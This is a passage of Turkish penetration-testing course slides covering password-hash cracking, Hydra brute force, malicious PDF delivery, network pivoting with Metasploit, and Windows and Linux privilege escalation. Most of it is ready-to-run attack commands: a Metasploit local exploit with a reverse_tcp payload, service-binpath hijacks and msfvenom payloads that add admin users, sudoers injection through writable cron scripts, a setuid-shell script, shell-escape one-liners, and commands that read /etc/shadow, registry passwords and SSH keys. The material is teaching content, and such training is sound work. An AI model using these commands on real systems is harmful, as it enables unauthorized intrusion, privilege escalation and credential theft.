Birinci hash değeri atanmamış bir parola olduğu için
bulunamayan Administrator kullanıcı parolası
İkinci hash değeri "test" kullanıcısının parolası olan
"btrisk"
31d6cfe0d16ae931b73c59d7e0c089c0
979357191cb4f445b47292af934fd2a7
95. MYSQL HASH KIRMA
MySQL bağlantısında elde ettiğimiz bir hash değerini
hash-identifier aracı ile incelediğimizde bize SHA1 veya
MySQL hash'i olduğunu söylüyor.
96. MYSQL HASH KIRMA
hashkiller.co.uk sitesinin veritabanına göre bu parola
"dadada". Bu tür veritabanlarının oluşturulabilmesinin
sebebi daha önce de söylediğimiz gibi salt değeri
kullanılmamış olması. Aksi takdirde bu veritabanları için
gerekli alan ve zaman çok daha fazla olacaktı.
97. ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA
hydra -l root -P dict.txt 192.168.163.140 mysql
Çevrimiçi (online) parola saldırıları için kullanılabilecek pek çok araçtan bir
tanesi Hydra. Çevrimiçi parola saldırıları parola hash'lerine yönelik
saldırılara nazaran çok daha uzun sürdüğü gibi log kayıtlarının oluşmasına
ve daha kötüsü hesapların kilitlenmesine ve hizmet kaybına neden olabilir.
Bu nedenle dikkatli kullanılmaları gerekmektedir.
100. • İstemci Taraflı saldırılar son kullanıcı tarafında
gerçekleştirilen saldırılardır.
• Burada oluşturduğumuz herhangi bir zararlı
içerik kullanıcının bilgisayarına iletilir.
• Bir site üzerindeki sahte bir uygulama veya dosya
örnek verilebilir.
• Adım adım bir uygulama gerçekleştirelim.
• Saldırı uygulamamızda bir pdf dosyası
kullanacağız.
İSTEMCİ TARAFLI SALDIRILAR
103. • Metasploit ile oluşturduğumuz ClientSide.pdf
dosyasını, mail veya farklı bir yolla kullanıcının
bilgisayarına gönderebilirsiniz.
• Biz senaryo amaçlı olarak kopyalıyoruz.
İSTEMCİ TARAFLI SALDIRILAR
109. • Bir sunucuyu ele geçirdikten sonra bu sunucunun bağlı
olduğu diğer arayüzlerden erişilebilen sunuculara
erişim imkanımız doğacaktır.
• Farklı bir arayüz bulunmasa bile eriştiğimiz sunucu bir
firewall'un arkasında ise bizim tabi olduğumuz erişim
kurallarından bağımsız biçimde kendi iç ağındaki diğer
sunuculara erişim imkanı olabilir.
PIVOTING
110. Kali Linux Windows XP Linux Apache
192.168.2.235 192.168.2.211
10.0.0.120
10.0.0.121
PIVOTING
111. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar:
• Sunucuya Konumlanma: Ele geçirilen sunucuya gerekli
araçları yükleyerek bu sunucu kaynakları üzerinden (komut
satırı, remote desktop v.b. bağlantılar ile) diğer sistemlere
erişmek
• Sunucuyu Router Olarak Kullanma: Atlama sistemi üzerinde
işletim sisteminin verdiği routing imkanları kullanılarak ve
kendi bilgisayarımızda gerekli routing ayarlarını yaparak
diğer sunuculara bu sistem üzerinden erişmek (bu yöntem
eğer hedef sunucu firewall'un arkasında ise büyük oranda etkisiz
olacaktır)
PIVOTING
112. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Sunucuyu Port Forwarder Olarak Kullanma: Yine sunucu
platformunun sağladığı port forwarding imkanlarını veya bu
sunucu üzerinde çalışabilen port forwarding araçlarını
kullanarak diğer sistemlere erişmek. Bu yöntemde ele
geçirdiğimiz sistem bir firewall'un arkasında olsa bile bu
firewall'un izin verdiği bir porta erişerek arka taraftaki
herhangi bir IP adresinin herhangi bir portuna erişme
imkanımız olabilecektir.
PIVOTING
113. Linux Port Forwarding Örnekleri
Iptables ile port forwarding (ip forwarding aktif olmalı)
# iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to
192.168.1.222:8080
# iptables -A FORWARD -p tcp -d 192.168.1.222 --dport 8080 -j ACCEPT
Socat aracı ile port forwarding
# socat TCP-LISTEN:80,fork TCP:192.168.1.222:8080
Diğer araçlara örnekler
• rinetd
• redir
• haproxy
PIVOTING
114. Windows Port Forwarding Örnekleri
Netsh ile port forwarding
C:> netsh interface portproxy add v4tov4 listenport=80
connectaddress=192.168.1.222 connectport=8080
Windows ortamındaki araçlar genellikle GUI arayüzlü
araçlar olduğu için çoğu zaman işimize yaramayacaktır.
Ancak Windows sunucu üzerinde bir SSH servisi (ör:
OpenSSH) çalıştırılabilirse (Linux'da da olduğu gibi) SSH'ın
port forwarding imkanı kullanılabilir.
PIVOTING
115. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Meterpreter Oturumu Üzerinden Yönlendirme: Eğer
atlama sistemimizde meterpreter payload'u
çalıştırabilmişsek Metasploit'un sağladığı pivoting araçları
buraya kadar saydığımız yöntemler arasında en pratik
yönlendirmeyi sağlayacaktır.
PIVOTING
116. Metasploit ile Pivoting
meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün
192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli ve
255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır]
meterpreter> run autoroute -h [bu komutla autoroute script i hakkında
yardım bilgisi edinebiliriz]
meterpreter> run autoroute -s 10.1.0.0/24
meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print
edilebilir]
meterpreter> run arp_scanner [script in opsiyonlarını bu komutla
görebilirsiniz]
meterpreter> run arp_scanner -r 10.1.0.0/24
PIVOTING
Hedef sistemin ağ arayüzlerini inceleme1
Hedef sistem üzerindeki meterpreter bileşenleri üzerinden routing'i aktifleştirme2
Uzak ağdaki sistemleri ARP tarama ile tespit etme3
117. Metasploit ile Pivoting
Bu noktadan sonra port tarama için iki seçeneğimiz var:
1. Metasploit'in sistem üzerinde çalışan diğer
uygulamaların (örneğin nmap'in) kullanabileceği bir
proxy çalıştırması ve local sunucu üzerinde çalışacak
bu proxy portu üzerinden hedef subnet ve sunuculara
bu uygulamalarla erişme
2. Metasploit'in auxiliary/scanner/portscan/tcp modülü
ile yeni subnet üzerindeki sunucularda TCP port
tarama
PIVOTING
118. Metasploit ile Pivoting (1. Yöntem)
meterpreter> background [auxilary socks proxy modülümüzü kullanmak için
mevcut oturumumuzu arka plana atmalıyız]
msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek
isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1"
olduğu
msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun
içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route
print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız bu
komutu çalıştırmanız gerekebilir]
msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda
herhangi bir hata olup olmadığını inceleyebilirsiniz]
msfconsole> use auxiliary/server/socks4a
msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin
çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta
fayda var]
msfconsole> run [socks proxy arka planda çalışmaya başlar]
PIVOTING
SOCKS proxy servisini başlatma1
119. Metasploit ile Pivoting (1. Yöntem)
/etc/proxychains.conf dosyası içinde aşağıdaki değişiklik yapılır:
socks4 127.0.0.1 1080
Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki uygulamaları
kullanabiliriz:
proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP
connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP
adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli
çünkü proxy bağlantısı üzerinden ICMP ve UDP paketlerini taşınamaz, sadece
TCP paketleri iletilmelidir.]
proxychains nmap -sT -Pn -p- 10.1.0.155
PIVOTING
Proxychains ayarı2
Proxychains kullanarak nmap ile port tarama3
120. Metasploit ile Pivoting (2. Yöntem)
msfconsole> use auxiliary/scanner/portscan/tcp
msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini
değiştirmek isteyeceksiniz]
msfconsole> set ports 1-65535
msfconsole> set rhosts 10.1.0.155
msfconsole> run
PIVOTING
Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)1
121. Metasploit ile Pivoting (2. Yöntem)
msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada
oturum numaranızın "1" olduğu varsayılmıştır]
meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter
komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz]
meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155
Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine
erişirsiniz:
http://localhost:8000/
PIVOTING
Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)2
Lokal port üzerinden uzaktaki sisteme erişim3
123. İÇERİK
• Jenerik Yetki Yükseltme Metodu
• Linux Yetki Yükseltme Yöntemleri
• Windows Yetki Yükseltme Yöntemleri
124. JENERİK YETKİ YÜKSELTME METODU
1. Kullanıcı bilgilerimiz ve yetki seviyemiz
2. Sistem üzerinde bulunabilecek yetki yükseltme
açıklıkları yama eksikliklerinin tespiti
3. Sistem servisleri, zamanlı işler ve yüksek yetkili
uygulama dosyalarının incelenmesi
4. Sistem üzerinde çalışan proses’lerin, ağ servislerinin
incelenmesi
5. Erişim bilgileri v.d. hassas bilgi barındırabilecek
veritabanı ve dosyaların incelenmesi, sistem
genelinde konfigürasyon açıklıklarının araştırılması
125. JENERİK YETKİ YÜKSELTME METODU
1. Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının
anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi
komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir)
2. Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan
işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi
3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların
hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı
barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi
4. Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin
tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki
güvensiz ayarların incelenmesi
5. (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı
home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının /
veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı
sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının
incelenmesi amacıyla gözden geçirilmesi
126. JENERİK YETKİ YÜKSELTME METODU
ÖNEMLİ
• Yetki yükseltme çalışmalarının önemli bölümü ve ilk adımı
bilgi toplama (enumeration) adımıdır.
• Ancak bilgi toplama tek başına bir işe yaramaz, edindiğiniz
bilgileri nasıl kullanacağınızı da bilmeniz gereklidir.
127. WINDOWS YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz
Domain adı (veya makine adı) ve kullanıcı adımız
C:> whoami
Kullanıcımızın üye olduğu gruplar
C:> whoami /groups
Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye
kullanıcıların listeleri
C:> net users
C:> net localgroup
C:> net localgroup Administrators
Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili
enumeration
meterpreter> run post/windows/gather/win_privs
128. WINDOWS YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti
Sistem versiyon ve yama bilgilerini çekmek için
C:> systeminfo
Exploit suggester script'ini kullanarak inceleme yapmak için
shell> systeminfo > C:windowstempsysteminfo.txt
meterpreter> download C:windowstempsysteminfo.txt
# ./windows-exploit-suggester.py --update
# pip install xlrd
# ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls >
winexploits.txt
# grep -i version winexploits.txt
# grep -i priv winexploits.txt
Mevcut bir meterpreter oturumu içinde local exploit araştırma
meterpreter> run post/multi/recon/local_exploit_suggester
129. WINDOWS YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti [SALDIRI ÖRNEĞİ – Metasploit Local Exploit]
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(ms14_058_track_popup_menu) > set LPORT 28746
LPORT => 28746
msf exploit(ms14_058_track_popup_menu) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set TARGET 1
TARGET => 1
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
SESSION => 3
msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false
ExitOnSession => false
msf exploit(ms14_058_track_popup_menu) > exploit -j
130. WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi
Belli bir servis konfigürasyonu hakkında bilgi elde etmek için
C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:> sc qc serviceadi
Bu servisin konfigürasyon değişiklik haklarını görmek için
C:> sc sdshow serviceadi
Accesschk aracı ile sıradan kullanıcıların servisler üzerindeki haklarının sorgulanması
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
Not: Bu açıklık Windows XP SP 0 ve 1'den sonra öntanımlı olarak bulunmamaktadır.
131. WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv
servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir)
sc config upnphost binpath= "net user btr1 Password1 /add"
sc stop upnphost
sc start upnphost
sc config upnphost binpath= "net localgroup Administrators btr1 /add"
sc stop upnphost
sc start upnphost
Kullanıcı ekleme işini yapan bir exe üretme
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe
Payload servis tarafından çalıştırıldıktan sonra
# rdesktop -u btr1 10.11.1.13
Terminal erişim imkanımız yoksa farklı bir payload'u admin olarak çalıştırmak için
C:> runas /user:btr1Password1 "C:UsersBTR-
1AppDataLocalTemppayload.exe"
132. WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Tüm servisleri listelemek ve daha sonra belli bir servisin çalıştırılabilir dosya ayarını
görmek için
C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır,
BINARY_PATH_NAME bölümünde exe yolu görülür]
Bir dizin ve dosya üzerindeki erişim izinlerini görmek için
C:> accesschk.exe -dqv "C:Python27" /accepteula
C:> accesschk.exe -qv filename.txt /accepteula
133. WINDOWS YETKİ YÜKSELTME
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi
Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip
değilsek servisin arkasında çalışan uygulama adını göremeyiz)
C:> netstat -anob [o – process id’sini, b – binary dosyayı gösterir]
Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary
görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için
aşağıdaki komutu kullanabiliriz.
C:> tasklist /fi "pid eq 1064"
Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows
servisi ile ilişkili olanlarını listelemek için
C:> tasklist /SVC
Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için
C:> tasklist /V
134. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması
Parola barındıran dosyalar
Sonraki sorgularda zaman kaybını azaltmak için dosya listesinin oluşturulması
C:> dir /a/s/b > dosyalistesi.txt
Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası
barındırma ihtimali bulunan dosya isimlerini arayabiliriz.
C:> type dosyalistesi.txt | findstr /I unattend.xml
C:> type dosyalistesi.txt | findstr /I unattend.txt
C:> type dosyalistesi.txt | findstr /I sysprep.inf
C:> type dosyalistesi.txt | findstr /I sysprep.xml
135. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Administrator hakları ile kurulum dosyası çalıştırma yetkisi
C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v
AlwaysInstallElevated
C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v
AlwaysInstallElevated
136. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]
Administrator hakları ile kurulum dosyası çalıştırma yetkisinin bulunması halinde
msfvenom ile bir “msi” payload'u oluşturarak local Administrators grubuna bir kullanıcı
ekleyebiliriz:
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f -f msi-nouac -o
adduser.msi
C:> msiexec /quiet /qn /i C:UsersBTR-1AppDataLocalTempadduser.msi
137. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v
DefaultPassword 2> nul
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v
DefaultUsername 2> nul
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v
DefaultDomainname 2> nul
Parola bulunabilecek diğer registry kayıtları
reg query HKLMSOFTWARERealVNCvncserver /v Password 2> NUL
reg query HKLMSoftwareTightVNCServer /v Password 2> NUL
138. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki
komutlarla araştırılabilir:
reg query HKLM /k /f password /t REG_SZ /s
reg query HKCU /k /f password /t REG_SZ /s
139. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu
C:Program Filessub dirprogram name.exe
Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır:
C:program.exe filessub dirprogram name
C:program filessub.exe dirprogram name
C:program filessub dirprogram.exe name
Bir dizinin erişim haklarını incelemek için:
C:> accesschk.exe -dqv "C:program filessub dir " /accepteula
140. WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Dosya adı ve içerik araştırma (örnek komutlar)
C:> type dosyalistesi.txt | findstr /I .*ssh.*[.]ini$
C:> type dosyalistesi.txt | findstr /I .*ultravnc[.]ini$
C:> type dosyalistesi.txt | findstr /I .*vnc[.]ini$
C:> findstr /si "password=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
C:> findstr /si "passwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
C:> findstr /si "pass=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
C:> findstr /si "pwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
...
141. LINUX YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz
Kullanıcı adımız, kullanıcı ve grup id'lerimiz
whoami 2>/dev/null
id 2>/dev/null
"sudoers" dosyası erişim hakları ve görebiliyorsak içeriği
ls -al /etc/sudoers 2>/dev/null
cat /etc/sudoers 2>/dev/null
Kullanıcımızın sudo hakları
sudo -l -n 2>/dev/null
Tüm kullanıcılar ve gruplar ile ilgili bilgiler
cat /etc/passwd 2>/dev/null
cat /etc/group 2>/dev/null
142. LINUX YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti
Linux kernel, işlemci ve işletim sistemi versiyonlarını inceleme
uname -a 2>/dev/null
cat /proc/version 2>/dev/null
lscpu 2>/dev/null
cat /etc/*-release
Yetki yükseltme açıklığına sahip olabilecek uygulama ve sunucu versiyonlarını inceleme
sudo -V | grep version 2>/dev/null
mysql --version 2>/dev/null
Mount edilmiş file system'ler
mount 2>/dev/null
143. LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi
Cron job’ların incelenmesi
“other” tarafından yazılabilir cron scriptleri ve içerikleri
find /etc/cron* -perm -0002 -exec ls -la {} ; -exec cat {} 2>/dev/null ;
/etc/crontab dosyası içeriği
cat /etc/crontab 2>/dev/null
Varsa root ve diğer kullanıcıların crontab dosyaları listesi
ls -laR /var/spool/cron 2>/dev/null
Varsa root ve diğer kullanıcıların crontab dosyaları içerikleri
find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null
Varsa /etc/cron.d dizininde bulunan dosyaların listesi
ls -laR /etc/cron.d 2>/dev/null
...
144. LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Setuid dosyaların incelenmesi
Sahibi “root” olan other tarafından yazılabilir “setuid” dosyalar
find / -uid 0 -perm -4002 -type f -exec ls -al {} ; 2>/dev/null
“other” tarafından yazılabilir tüm “setuid” dosyalar
find / -perm -4002 -type f -exec ls -al {} ; 2>/dev/null
Tüm “setuid” dosyalar
find / -perm -4000 -type f -exec ls -al {} ; 2>/dev/null | tee setuid-
files-enum.txt
Benzer biçimde setgid dosyalar da incelenmelidir.
145. LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
“root” hakları ile çalışan bir cron script’ine veya setuid bit’i işaretli bir script’e müdahale
edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >>
/etc/sudoers && chmod 440 /etc/sudoers' > /script.sh
Değişiklik yaptığımız script çalışıp da sudoers dosyasında yukarıda görülen değişikliği
yaptıktan sonra şu komutu çalıştırarak root hakları ile shell alabiliriz:
sudo /bin/bash
146. LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Aşağıda bir Python script’i ile “s” bit’i işaretli bir shell oluşturma yöntemini görebilirsiniz:
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh')
except:
sys.exit()
Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell
alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link’ten faydalanabiliriz:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
147. LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Shell escape imkanı veren uygulamaların incelenmesi
Bazı uygulamaların içinden komut satırı komutları çalıştırmak veya bir shell almak
mümkündür. Eğer bu uygulamaları sudo ile çalıştırabilirsek veya bu uygulamaların “s”
bit’leri işaretli ise, bu uygulamaların içinden root hakları ile shell başlatabiliriz.
Bu tür uygulamaları tespit etmek için aşağıdaki komutu çalıştırabiliriz (setuid-files-
enum.txt dosyası yukarıdaki tüm “s” bitli dosyaları belirleyen komut neticesinde oluşmuş
olmalıdır)
cat setuid-files-enum.txt 2>/dev/null | grep -i -E
'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python
|ruby|lua|irb' | grep -v -E 'chsh|device'
148. LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Shell escape imkanı veren komut örnekleri:
awk
awk 'BEGIN {system("/bin/bash")}'
nmap
--interactive
nmap
echo "os.execute('/bin/sh')" >
exploit.nse
sudo nmap --script=exploit.nse
perl
perl -e 'exec "/bin/bash";'
vi, vim
:!bash
vi, vim
:set shell=/bin/bash
:shell
man, more, less
!bash
find
find / -exec /usr/bin/awk 'BEGIN
{system("/bin/bash")}' ;
149. LINUX YETKİ YÜKSELTME
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi
Loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için (elbette yetki
yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir)
netstat -antp
netstat -anup
“p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir,
dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak.
root kullanıcısı olarak calışan prosesler
ps aux | grep root
Çalışan proseslerin imajları ve bunlara erişim hakları
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
150. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması
Parola hash’lerini ele geçirmek için shadow dosyası veya yedeklerine erişmeye çalışmak
cat /etc/shadow 2>/dev/null
grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null
(Öncesinde dirlist-enum.txt dosyasının oluşturulduğu varsayılmıştır)
151. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Home dizinleri ve içerikleri
/root/ dizini altındaki dosyalar ve erişim hakları
ls -ahlR /root/ 2>/dev/null
/home/ dizini altındaki dosyalar ve erişim hakları
ls -ahlR /home/ 2>/dev/null
Eğer home dizinleri /usr/ dizini altında ise buradaki dosyalar ve erişim hakları
ls -ahlR /usr/home/ 2>/dev/null
/home/ dizini altındaki okunabilir dosyaların listesi
find /home/ -perm -4 -type f -exec ls -al {} ; 2>/dev/null
152. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
History dosyaları erişim hakları ve içerikleri
ls -la /home/*/.*_history 2>/dev/null
ls -la /root/.*_history 2>/dev/null
cat ~/.*_history 2>/dev/null
cat /root/.*_history 2>/dev/null
cat /home/*/.*_history 2>/dev/null
SSH anahtar ve anahtar dizinlerinin listesi
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null
153. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]
ssh servisine parola ile bağlanma
"ssh -l $user $host" veya "ssh $user@$host"
ssh servisine farklı bir port'tan bağlanma
ssh $user@$host -p $port
ssh servisine private key ile bağlanma
ssh -i /path/to/id_rsa $user@$host
ssh -i /path/to/id_dsa $user@$host
154. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mysql erişimi(mysql root’u ile sistem root’u farklıdır)
mysqladmin -uroot -proot version
mysqladmin -uroot version
Mysql erişim bilgilerini içerebilecek konfigürasyon dosya içeriğinin incelenmesi
cat /etc/mysql/my.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
155. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]
MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı
Windows örneği
http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki-
yukseltme.html
Linux örneği
https://www.exploit-db.com/exploits/1518/
156. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Web uygulama dizinlerı ve dosyaların listesi - ekleme yapılabilir
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
